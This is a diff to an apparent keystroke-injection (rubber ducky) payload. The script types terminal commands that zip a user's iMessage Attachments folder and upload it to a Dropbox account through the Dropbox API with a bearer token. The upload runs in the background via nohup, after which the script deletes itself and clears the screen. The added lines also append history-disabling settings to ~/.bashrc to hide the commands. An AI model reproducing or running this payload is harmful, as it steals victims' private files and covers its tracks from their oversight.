diff --git a/Executions/Imessage Attachments to Dropbox.txt b/Executions/Imessage Attachments to Dropbox.txt index fd08dcd..3dd7cf7 100644 --- a/Executions/Imessage Attachments to Dropbox.txt +++ b/Executions/Imessage Attachments to Dropbox.txt @@ -48,27 +48,31 @@ STRING terminal DELAY 1000 ENTER DELAY 500 +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 CTRL c DELAY 1000 -STRING echo 'cd ~/Desktop && zip -r attachments.zip Attachments && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/attachments.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @attachments.zip' > upload.sh +STRING echo 'cd ~/Desktop && zip -r attachments.zip Attachments && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/attachments.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @attachments.zip' > upload.sh DELAY 2000 ENTER DELAY 500 -STRING chmod +x upload.sh +STRING chmod +x upload.sh DELAY 500 ENTER DELAY 500 -STRING nohup ./upload.sh >/dev/null 2>&1 & +STRING nohup ./upload.sh >/dev/null 2>&1 & DELAY 500 ENTER DELAY 2000 CTRL C DELAY 500 -STRING rm upload.sh +STRING rm upload.sh DELAY 500 ENTER DELAY 500 -STRING CLEAR +STRING CLEAR DELAY 500 ENTER DELAY 500